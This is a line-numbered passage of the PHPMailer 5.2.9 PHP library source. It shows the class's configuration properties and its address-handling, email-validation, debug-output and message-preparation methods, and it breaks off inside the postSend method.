7890 * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
7891 * @author Brent R. Matzelle (original founder)
7892 * @copyright 2012 - 2014 Marcus Bointon
7893 * @copyright 2010 - 2012 Jim Jagielski
7894 * @copyright 2004 - 2009 Andy Prevost
7895 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
7896 * @note This program is distributed in the hope that it will be useful - WITHOUT
7897 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
7898 * FITNESS FOR A PARTICULAR PURPOSE.
7899 */
7900
7901/**
7902 * PHPMailer - PHP email creation and transport class.
7903 * @package PHPMailer
7904 * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
7905 * @author Jim Jagielski (jimjag) <>
7906 * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
7907 * @author Brent R. Matzelle (original founder)
7908 */
7909class PHPMailer
7910{
7911 /**
7912 * The PHPMailer Version number.
7913 * @type string
7914 */
7915 public $Version = '5.2.9';
7916
7917 /**
7918 * Email priority.
7919 * Options: 1 = High, 3 = Normal, 5 = low.
7920 * @type integer
7921 */
7922 public $Priority = 3;
7923
7924 /**
7925 * The character set of the message.
7926 * @type string
7927 */
7928 public $CharSet = 'iso-8859-1';
7929
7930 /**
7931 * The MIME Content-type of the message.
7932 * @type string
7933 */
7934 public $ContentType = 'text/plain';
7935
7936 /**
7937 * The message encoding.
7938 * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
7939 * @type string
7940 */
7941 public $Encoding = '8bit';
7942
7943 /**
7944 * Holds the most recent mailer error message.
7945 * @type string
7946 */
7947 public $ErrorInfo = '';
7948
7949 /**
7950 * The From email address for the message.
7951 * @type string
7952 */
7953 public $From = 'root@localhost';
7954
7955 /**
7956 * The From name of the message.
7957 * @type string
7958 */
7959 public $FromName = 'Root User';
7960
7961 /**
7962 * The Sender email (Return-Path) of the message.
7963 * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
7964 * @type string
7965 */
7966 public $Sender = '';
7967
7968 /**
7969 * The Return-Path of the message.
7970 * If empty, it will be set to either From or Sender.
7971 * @type string
7972 * @deprecated Email senders should never set a return-path header;
7973 * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
7974 * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
7975 */
7976 public $ReturnPath = '';
7977
7978 /**
7979 * The Subject of the message.
7980 * @type string
7981 */
7982 public $Subject = '';
7983
7984 /**
7985 * An HTML or plain text message body.
7986 * If HTML then call isHTML(true).
7987 * @type string
7988 */
7989 public $Body = '';
7990
7991 /**
7992 * The plain-text message body.
7993 * This body can be read by mail clients that do not have HTML email
7994 * capability such as mutt & Eudora.
7995 * Clients that can read HTML will view the normal Body.
7996 * @type string
7997 */
7998 public $AltBody = '';
7999
8000 /**
8001 * An iCal message part body.
8002 * Only supported in simple alt or alt_inline message types
8003 * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
8004 * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
8005 * @link http://kigkonsult.se/iCalcreator/
8006 * @type string
8007 */
8008 public $Ical = '';
8009
8010 /**
8011 * The complete compiled MIME message body.
8012 * @access protected
8013 * @type string
8014 */
8015 protected $MIMEBody = '';
8016
8017 /**
8018 * The complete compiled MIME message headers.
8019 * @type string
8020 * @access protected
8021 */
8022 protected $MIMEHeader = '';
8023
8024 /**
8025 * Extra headers that createHeader() doesn't fold in.
8026 * @type string
8027 * @access protected
8028 */
8029 protected $mailHeader = '';
8030
8031 /**
8032 * Word-wrap the message body to this number of chars.
8033 * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
8034 * @type integer
8035 */
8036 public $WordWrap = 0;
8037
8038 /**
8039 * Which method to use to send mail.
8040 * Options: "mail", "sendmail", or "smtp".
8041 * @type string
8042 */
8043 public $Mailer = 'mail';
8044
8045 /**
8046 * The path to the sendmail program.
8047 * @type string
8048 */
8049 public $Sendmail = '/usr/sbin/sendmail';
8050
8051 /**
8052 * Whether mail() uses a fully sendmail-compatible MTA.
8053 * One which supports sendmail's "-oi -f" options.
8054 * @type boolean
8055 */
8056 public $UseSendmailOptions = true;
8057
8058 /**
8059 * Path to PHPMailer plugins.
8060 * Useful if the SMTP class is not in the PHP include path.
8061 * @type string
8062 * @deprecated Should not be needed now there is an autoloader.
8063 */
8064 public $PluginDir = '';
8065
8066 /**
8067 * The email address that a reading confirmation should be sent to.
8068 * @type string
8069 */
8070 public $ConfirmReadingTo = '';
8071
8072 /**
8073 * The hostname to use in Message-Id and Received headers
8074 * and as default HELO string.
8075 * If empty, the value returned
8076 * by SERVER_NAME is used or 'localhost.localdomain'.
8077 * @type string
8078 */
8079 public $Hostname = '';
8080
8081 /**
8082 * An ID to be used in the Message-Id header.
8083 * If empty, a unique id will be generated.
8084 * @type string
8085 */
8086 public $MessageID = '';
8087
8088 /**
8089 * The message Date to be used in the Date header.
8090 * If empty, the current date will be added.
8091 * @type string
8092 */
8093 public $MessageDate = '';
8094
8095 /**
8096 * SMTP hosts.
8097 * Either a single hostname or multiple semicolon-delimited hostnames.
8098 * You can also specify a different port
8099 * for each host by using this format: [hostname:port]
8100 * (e.g. "smtp1.example.com:25;smtp2.example.com").
8101 * You can also specify encryption type, for example:
8102 * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
8103 * Hosts will be tried in order.
8104 * @type string
8105 */
8106 public $Host = 'localhost';
8107
8108 /**
8109 * The default SMTP server port.
8110 * @type integer
8111 * @TODO Why is this needed when the SMTP class takes care of it?
8112 */
8113 public $Port = 25;
8114
8115 /**
8116 * The SMTP HELO of the message.
8117 * Default is $Hostname.
8118 * @type string
8119 * @see PHPMailer::$Hostname
8120 */
8121 public $Helo = '';
8122
8123 /**
8124 * The secure connection prefix.
8125 * Options: "", "ssl" or "tls"
8126 * @type string
8127 */
8128 public $SMTPSecure = '';
8129
8130 /**
8131 * Whether to use SMTP authentication.
8132 * Uses the Username and Password properties.
8133 * @type boolean
8134 * @see PHPMailer::$Username
8135 * @see PHPMailer::$Password
8136 */
8137 public $SMTPAuth = false;
8138
8139 /**
8140 * SMTP username.
8141 * @type string
8142 */
8143 public $Username = '';
8144
8145 /**
8146 * SMTP password.
8147 * @type string
8148 */
8149 public $Password = '';
8150
8151 /**
8152 * SMTP auth type.
8153 * Options are LOGIN (default), PLAIN, NTLM, CRAM-MD5
8154 * @type string
8155 */
8156 public $AuthType = '';
8157
8158 /**
8159 * SMTP realm.
8160 * Used for NTLM auth
8161 * @type string
8162 */
8163 public $Realm = '';
8164
8165 /**
8166 * SMTP workstation.
8167 * Used for NTLM auth
8168 * @type string
8169 */
8170 public $Workstation = '';
8171
8172 /**
8173 * The SMTP server timeout in seconds.
8174 * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
8175 * @type integer
8176 */
8177 public $Timeout = 300;
8178
8179 /**
8180 * SMTP class debug output mode.
8181 * Debug output level.
8182 * Options:
8183 * * `0` No output
8184 * * `1` Commands
8185 * * `2` Data and commands
8186 * * `3` As 2 plus connection status
8187 * * `4` Low-level data output
8188 * @type integer
8189 * @see SMTP::$do_debug
8190 */
8191 public $SMTPDebug = 0;
8192
8193 /**
8194 * How to handle debug output.
8195 * Options:
8196 * * `echo` Output plain-text as-is, appropriate for CLI
8197 * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
8198 * * `error_log` Output to error log as configured in php.ini
8199 *
8200 * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
8201 * <code>
8202 * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
8203 * </code>
8204 * @type string|callable
8205 * @see SMTP::$Debugoutput
8206 */
8207 public $Debugoutput = 'echo';
8208
8209 /**
8210 * Whether to keep SMTP connection open after each message.
8211 * If this is set to true then to close the connection
8212 * requires an explicit call to smtpClose().
8213 * @type boolean
8214 */
8215 public $SMTPKeepAlive = false;
8216
8217 /**
8218 * Whether to split multiple to addresses into multiple messages
8219 * or send them all in one message.
8220 * @type boolean
8221 */
8222 public $SingleTo = false;
8223
8224 /**
8225 * Storage for addresses when SingleTo is enabled.
8226 * @type array
8227 * @TODO This should really not be public
8228 */
8229 public $SingleToArray = array();
8230
8231 /**
8232 * Whether to generate VERP addresses on send.
8233 * Only applicable when sending via SMTP.
8234 * @link http://en.wikipedia.org/wiki/Variable_envelope_return_path
8235 * @link http://www.postfix.org/VERP_README.html Postfix VERP info
8236 * @type boolean
8237 */
8238 public $do_verp = false;
8239
8240 /**
8241 * Whether to allow sending messages with an empty body.
8242 * @type boolean
8243 */
8244 public $AllowEmpty = false;
8245
8246 /**
8247 * The default line ending.
8248 * @note The default remains "\n". We force CRLF where we know
8249 * it must be used via self::CRLF.
8250 * @type string
8251 */
8252 public $LE = "\n";
8253
8254 /**
8255 * DKIM selector.
8256 * @type string
8257 */
8258 public $DKIM_selector = '';
8259
8260 /**
8261 * DKIM Identity.
8262 * Usually the email address used as the source of the email
8263 * @type string
8264 */
8265 public $DKIM_identity = '';
8266
8267 /**
8268 * DKIM passphrase.
8269 * Used if your key is encrypted.
8270 * @type string
8271 */
8272 public $DKIM_passphrase = '';
8273
8274 /**
8275 * DKIM signing domain name.
8276 * @example 'example.com'
8277 * @type string
8278 */
8279 public $DKIM_domain = '';
8280
8281 /**
8282 * DKIM private key file path.
8283 * @type string
8284 */
8285 public $DKIM_private = '';
8286
8287 /**
8288 * Callback Action function name.
8289 *
8290 * The function that handles the result of the send email action.
8291 * It is called out by send() for each email sent.
8292 *
8293 * Value can be any php callable: http://www.php.net/is_callable
8294 *
8295 * Parameters:
8296 * boolean $result result of the send action
8297 * string $to email address of the recipient
8298 * string $cc cc email addresses
8299 * string $bcc bcc email addresses
8300 * string $subject the subject
8301 * string $body the email body
8302 * string $from email address of sender
8303 * @type string
8304 */
8305 public $action_function = '';
8306
8307 /**
8308 * What to use in the X-Mailer header.
8309 * Options: null for default, whitespace for none, or a string to use
8310 * @type string
8311 */
8312 public $XMailer = '';
8313
8314 /**
8315 * An instance of the SMTP sender class.
8316 * @type SMTP
8317 * @access protected
8318 */
8319 protected $smtp = null;
8320
8321 /**
8322 * The array of 'to' addresses.
8323 * @type array
8324 * @access protected
8325 */
8326 protected $to = array();
8327
8328 /**
8329 * The array of 'cc' addresses.
8330 * @type array
8331 * @access protected
8332 */
8333 protected $cc = array();
8334
8335 /**
8336 * The array of 'bcc' addresses.
8337 * @type array
8338 * @access protected
8339 */
8340 protected $bcc = array();
8341
8342 /**
8343 * The array of reply-to names and addresses.
8344 * @type array
8345 * @access protected
8346 */
8347 protected $ReplyTo = array();
8348
8349 /**
8350 * An array of all kinds of addresses.
8351 * Includes all of $to, $cc, $bcc, $replyto
8352 * @type array
8353 * @access protected
8354 */
8355 protected $all_recipients = array();
8356
8357 /**
8358 * The array of attachments.
8359 * @type array
8360 * @access protected
8361 */
8362 protected $attachment = array();
8363
8364 /**
8365 * The array of custom headers.
8366 * @type array
8367 * @access protected
8368 */
8369 protected $CustomHeader = array();
8370
8371 /**
8372 * The most recent Message-ID (including angular brackets).
8373 * @type string
8374 * @access protected
8375 */
8376 protected $lastMessageID = '';
8377
8378 /**
8379 * The message's MIME type.
8380 * @type string
8381 * @access protected
8382 */
8383 protected $message_type = '';
8384
8385 /**
8386 * The array of MIME boundary strings.
8387 * @type array
8388 * @access protected
8389 */
8390 protected $boundary = array();
8391
8392 /**
8393 * The array of available languages.
8394 * @type array
8395 * @access protected
8396 */
8397 protected $language = array();
8398
8399 /**
8400 * The number of errors encountered.
8401 * @type integer
8402 * @access protected
8403 */
8404 protected $error_count = 0;
8405
8406 /**
8407 * The S/MIME certificate file path.
8408 * @type string
8409 * @access protected
8410 */
8411 protected $sign_cert_file = '';
8412
8413 /**
8414 * The S/MIME key file path.
8415 * @type string
8416 * @access protected
8417 */
8418 protected $sign_key_file = '';
8419
8420 /**
8421 * The S/MIME password for the key.
8422 * Used only if the key is encrypted.
8423 * @type string
8424 * @access protected
8425 */
8426 protected $sign_key_pass = '';
8427
8428 /**
8429 * Whether to throw exceptions for errors.
8430 * @type boolean
8431 * @access protected
8432 */
8433 protected $exceptions = false;
8434
8435 /**
8436 * Error severity: message only, continue processing.
8437 */
8438 const STOP_MESSAGE = 0;
8439
8440 /**
8441 * Error severity: message, likely ok to continue processing.
8442 */
8443 const STOP_CONTINUE = 1;
8444
8445 /**
8446 * Error severity: message, plus full stop, critical error reached.
8447 */
8448 const STOP_CRITICAL = 2;
8449
8450 /**
8451 * SMTP RFC standard line ending.
8452 */
8453 const CRLF = "\r\n";
8454
8455 /**
8456 * Constructor.
8457 * @param boolean $exceptions Should we throw external exceptions?
8458 */
8459 public function __construct($exceptions = false)
8460 {
8461 $this->exceptions = (boolean)$exceptions;
8462 }
8463
8464 /**
8465 * Destructor.
8466 */
8467 public function __destruct()
8468 {
8469 if ($this->Mailer == 'smtp') { //close any open SMTP connection nicely
8470 $this->smtpClose();
8471 }
8472 }
8473
8474 /**
8475 * Call mail() in a safe_mode-aware fashion.
8476 * Also, unless sendmail_path points to sendmail (or something that
8477 * claims to be sendmail), don't pass params (not a perfect fix,
8478 * but it will do)
8479 * @param string $to To
8480 * @param string $subject Subject
8481 * @param string $body Message Body
8482 * @param string $header Additional Header(s)
8483 * @param string $params Params
8484 * @access private
8485 * @return boolean
8486 */
8487 private function mailPassthru($to, $subject, $body, $header, $params)
8488 {
8489 //Check overloading of mail function to avoid double-encoding
8490 if (ini_get('mbstring.func_overload') & 1) {
8491 $subject = $this->secureHeader($subject);
8492 } else {
8493 $subject = $this->encodeHeader($this->secureHeader($subject));
8494 }
8495 if (ini_get('safe_mode') || !($this->UseSendmailOptions)) {
8496 $result = @mail($to, $subject, $body, $header);
8497 } else {
8498 $result = @mail($to, $subject, $body, $header, $params);
8499 }
8500 return $result;
8501 }
8502
8503 /**
8504 * Output debugging info via user-defined method.
8505 * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
8506 * @see PHPMailer::$Debugoutput
8507 * @see PHPMailer::$SMTPDebug
8508 * @param string $str
8509 */
8510 protected function edebug($str)
8511 {
8512 if ($this->SMTPDebug <= 0) {
8513 return;
8514 }
8515 //Avoid clash with built-in function names
8516 if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
8517 call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
8518 return;
8519 }
8520 switch ($this->Debugoutput) {
8521 case 'error_log':
8522 //Don't output, just log
8523 error_log($str);
8524 break;
8525 case 'html':
8526 //Cleans up output a bit for a better looking, HTML-safe output
8527 echo htmlentities(
8528 preg_replace('/[\r\n]+/', '', $str),
8529 ENT_QUOTES,
8530 'UTF-8'
8531 )
8532 . "<br>\n";
8533 break;
8534 case 'echo':
8535 default:
8536 //Normalize line breaks
8537 $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
8538 echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
8539 "\n",
8540 "\n \t ",
8541 trim($str)
8542 ) . "\n";
8543 }
8544 }
8545
8546 /**
8547 * Sets message type to HTML or plain.
8548 * @param boolean $isHtml True for HTML mode.
8549 * @return void
8550 */
8551 public function isHTML($isHtml = true)
8552 {
8553 if ($isHtml) {
8554 $this->ContentType = 'text/html';
8555 } else {
8556 $this->ContentType = 'text/plain';
8557 }
8558 }
8559
8560 /**
8561 * Send messages using SMTP.
8562 * @return void
8563 */
8564 public function isSMTP()
8565 {
8566 $this->Mailer = 'smtp';
8567 }
8568
8569 /**
8570 * Send messages using PHP's mail() function.
8571 * @return void
8572 */
8573 public function isMail()
8574 {
8575 $this->Mailer = 'mail';
8576 }
8577
8578 /**
8579 * Send messages using $Sendmail.
8580 * @return void
8581 */
8582 public function isSendmail()
8583 {
8584 $ini_sendmail_path = ini_get('sendmail_path');
8585
8586 if (!stristr($ini_sendmail_path, 'sendmail')) {
8587 $this->Sendmail = '/usr/sbin/sendmail';
8588 } else {
8589 $this->Sendmail = $ini_sendmail_path;
8590 }
8591 $this->Mailer = 'sendmail';
8592 }
8593
8594 /**
8595 * Send messages using qmail.
8596 * @return void
8597 */
8598 public function isQmail()
8599 {
8600 $ini_sendmail_path = ini_get('sendmail_path');
8601
8602 if (!stristr($ini_sendmail_path, 'qmail')) {
8603 $this->Sendmail = '/var/qmail/bin/qmail-inject';
8604 } else {
8605 $this->Sendmail = $ini_sendmail_path;
8606 }
8607 $this->Mailer = 'qmail';
8608 }
8609
8610 /**
8611 * Add a "To" address.
8612 * @param string $address
8613 * @param string $name
8614 * @return boolean true on success, false if address already used
8615 */
8616 public function addAddress($address, $name = '')
8617 {
8618 return $this->addAnAddress('to', $address, $name);
8619 }
8620
8621 /**
8622 * Add a "CC" address.
8623 * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
8624 * @param string $address
8625 * @param string $name
8626 * @return boolean true on success, false if address already used
8627 */
8628 public function addCC($address, $name = '')
8629 {
8630 return $this->addAnAddress('cc', $address, $name);
8631 }
8632
8633 /**
8634 * Add a "BCC" address.
8635 * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
8636 * @param string $address
8637 * @param string $name
8638 * @return boolean true on success, false if address already used
8639 */
8640 public function addBCC($address, $name = '')
8641 {
8642 return $this->addAnAddress('bcc', $address, $name);
8643 }
8644
8645 /**
8646 * Add a "Reply-to" address.
8647 * @param string $address
8648 * @param string $name
8649 * @return boolean
8650 */
8651 public function addReplyTo($address, $name = '')
8652 {
8653 return $this->addAnAddress('Reply-To', $address, $name);
8654 }
8655
8656 /**
8657 * Add an address to one of the recipient arrays.
8658 * Addresses that have been added already return false, but do not throw exceptions
8659 * @param string $kind One of 'to', 'cc', 'bcc', 'ReplyTo'
8660 * @param string $address The email address to send to
8661 * @param string $name
8662 * @throws phpmailerException
8663 * @return boolean true on success, false if address already used or invalid in some way
8664 * @access protected
8665 */
8666 protected function addAnAddress($kind, $address, $name = '')
8667 {
8668 if (!preg_match('/^(to|cc|bcc|Reply-To)$/', $kind)) {
8669 $this->setError($this->lang('Invalid recipient array') . ': ' . $kind);
8670 $this->edebug($this->lang('Invalid recipient array') . ': ' . $kind);
8671 if ($this->exceptions) {
8672 throw new phpmailerException('Invalid recipient array: ' . $kind);
8673 }
8674 return false;
8675 }
8676 $address = trim($address);
8677 $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
8678 if (!$this->validateAddress($address)) {
8679 $this->setError($this->lang('invalid_address') . ': ' . $address);
8680 $this->edebug($this->lang('invalid_address') . ': ' . $address);
8681 if ($this->exceptions) {
8682 throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
8683 }
8684 return false;
8685 }
8686 if ($kind != 'Reply-To') {
8687 if (!isset($this->all_recipients[strtolower($address)])) {
8688 array_push($this->$kind, array($address, $name));
8689 $this->all_recipients[strtolower($address)] = true;
8690 return true;
8691 }
8692 } else {
8693 if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
8694 $this->ReplyTo[strtolower($address)] = array($address, $name);
8695 return true;
8696 }
8697 }
8698 return false;
8699 }
8700
8701 /**
8702 * Set the From and FromName properties.
8703 * @param string $address
8704 * @param string $name
8705 * @param boolean $auto Whether to also set the Sender address, defaults to true
8706 * @throws phpmailerException
8707 * @return boolean
8708 */
8709 public function setFrom($address, $name = '', $auto = true)
8710 {
8711 $address = trim($address);
8712 $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
8713 if (!$this->validateAddress($address)) {
8714 $this->setError($this->lang('invalid_address') . ': ' . $address);
8715 $this->edebug($this->lang('invalid_address') . ': ' . $address);
8716 if ($this->exceptions) {
8717 throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
8718 }
8719 return false;
8720 }
8721 $this->From = $address;
8722 $this->FromName = $name;
8723 if ($auto) {
8724 if (empty($this->Sender)) {
8725 $this->Sender = $address;
8726 }
8727 }
8728 return true;
8729 }
8730
8731 /**
8732 * Return the Message-ID header of the last email.
8733 * Technically this is the value from the last time the headers were created,
8734 * but it's also the message ID of the last sent message except in
8735 * pathological cases.
8736 * @return string
8737 */
8738 public function getLastMessageID()
8739 {
8740 return $this->lastMessageID;
8741 }
8742
8743 /**
8744 * Check that a string looks like an email address.
8745 * @param string $address The email address to check
8746 * @param string $patternselect A selector for the validation pattern to use :
8747 * * `auto` Pick strictest one automatically;
8748 * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
8749 * * `pcre` Use old PCRE implementation;
8750 * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL; same as pcre8 but does not allow 'dotless' domains;
8751 * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
8752 * * `noregex` Don't use a regex: super fast, really dumb.
8753 * @return boolean
8754 * @static
8755 * @access public
8756 */
8757 public static function validateAddress($address, $patternselect = 'auto')
8758 {
8759 if (!$patternselect or $patternselect == 'auto') {
8760 //Check this constant first so it works when extension_loaded() is disabled by safe mode
8761 //Constant was added in PHP 5.2.4
8762 if (defined('PCRE_VERSION')) {
8763 //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
8764 if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
8765 $patternselect = 'pcre8';
8766 } else {
8767 $patternselect = 'pcre';
8768 }
8769 } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
8770 //Fall back to older PCRE
8771 $patternselect = 'pcre';
8772 } else {
8773 //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
8774 if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
8775 $patternselect = 'php';
8776 } else {
8777 $patternselect = 'noregex';
8778 }
8779 }
8780 }
8781 switch ($patternselect) {
8782 case 'pcre8':
8783 /**
8784 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
8785 * @link http://squiloople.com/2009/12/20/email-address-validation/
8786 * @copyright 2009-2010 Michael Rushton
8787 * Feel free to use and redistribute this code. But please keep this copyright notice.
8788 */
8789 return (boolean)preg_match(
8790 '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
8791 '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
8792 '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
8793 '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
8794 '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
8795 '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
8796 '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
8797 '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
8798 '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
8799 $address
8800 );
8801 case 'pcre':
8802 //An older regex that doesn't need a recent PCRE
8803 return (boolean)preg_match(
8804 '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
8805 '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
8806 '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
8807 '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
8808 '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
8809 '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
8810 '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
8811 '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
8812 '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
8813 '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
8814 $address
8815 );
8816 case 'html5':
8817 /**
8818 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
8819 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
8820 */
8821 return (boolean)preg_match(
8822 '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
8823 '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
8824 $address
8825 );
8826 case 'noregex':
8827 //No PCRE! Do something _very_ approximate!
8828 //Check the address is 3 chars or longer and contains an @ that's not the first or last char
8829 return (strlen($address) >= 3
8830 and strpos($address, '@') >= 1
8831 and strpos($address, '@') != strlen($address) - 1);
8832 case 'php':
8833 default:
8834 return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
8835 }
8836 }
8837
8838 /**
8839 * Create a message and send it.
8840 * Uses the sending method specified by $Mailer.
8841 * @throws phpmailerException
8842 * @return boolean false on error - See the ErrorInfo property for details of the error.
8843 */
8844 public function send()
8845 {
8846 try {
8847 if (!$this->preSend()) {
8848 return false;
8849 }
8850 return $this->postSend();
8851 } catch (phpmailerException $exc) {
8852 $this->mailHeader = '';
8853 $this->setError($exc->getMessage());
8854 if ($this->exceptions) {
8855 throw $exc;
8856 }
8857 return false;
8858 }
8859 }
8860
8861 /**
8862 * Prepare a message for sending.
8863 * @throws phpmailerException
8864 * @return boolean
8865 */
8866 public function preSend()
8867 {
8868 try {
8869 $this->mailHeader = '';
8870 if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
8871 throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
8872 }
8873
8874 // Set whether the message is multipart/alternative
8875 if (!empty($this->AltBody)) {
8876 $this->ContentType = 'multipart/alternative';
8877 }
8878
8879 $this->error_count = 0; // reset errors
8880 $this->setMessageType();
8881 // Refuse to send an empty message unless we are specifically allowing it
8882 if (!$this->AllowEmpty and empty($this->Body)) {
8883 throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
8884 }
8885
8886 $this->MIMEHeader = $this->createHeader();
8887 $this->MIMEBody = $this->createBody();
8888
8889 // To capture the complete message when using mail(), create
8890 // an extra header list which createHeader() doesn't fold in
8891 if ($this->Mailer == 'mail') {
8892 if (count($this->to) > 0) {
8893 $this->mailHeader .= $this->addrAppend('To', $this->to);
8894 } else {
8895 $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
8896 }
8897 $this->mailHeader .= $this->headerLine(
8898 'Subject',
8899 $this->encodeHeader($this->secureHeader(trim($this->Subject)))
8900 );
8901 }
8902
8903 // Sign with DKIM if enabled
8904 if (!empty($this->DKIM_domain)
8905 && !empty($this->DKIM_private)
8906 && !empty($this->DKIM_selector)
8907 && file_exists($this->DKIM_private)) {
8908 $header_dkim = $this->DKIM_Add(
8909 $this->MIMEHeader . $this->mailHeader,
8910 $this->encodeHeader($this->secureHeader($this->Subject)),
8911 $this->MIMEBody
8912 );
8913 $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
8914 str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
8915 }
8916 return true;
8917
8918 } catch (phpmailerException $exc) {
8919 $this->setError($exc->getMessage());
8920 if ($this->exceptions) {
8921 throw $exc;
8922 }
8923 return false;
8924 }
8925 }
8926
8927 /**
8928 * Actually send a message.
8929 * Send the email via the selected mechanism
8930 * @throws phpmailerException
8931 * @return boolean
8932 */
8933 public function postSend()
8934 {
8935 try {
8936 // Choose the mailer and send through it
8937 switch ($this->Mailer) {
8938 case 'sendmail':
8939 case 'qmail':
8940 return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
8941 case 'smtp':
8942 return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
8943 case 'mail':
8944 return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
8945 default:
8946 $sendMethod = $this->Mailer.'Send';
8947 if (method_exists($this, $sendMethod)) {
8948 return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
8949 }
8950
8951 return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
8952 }
8953 } catch (phpmailerException $exc) {
8954 $this->setError($exc->getMessage());
8955 $this->edebug($exc->getMessage());
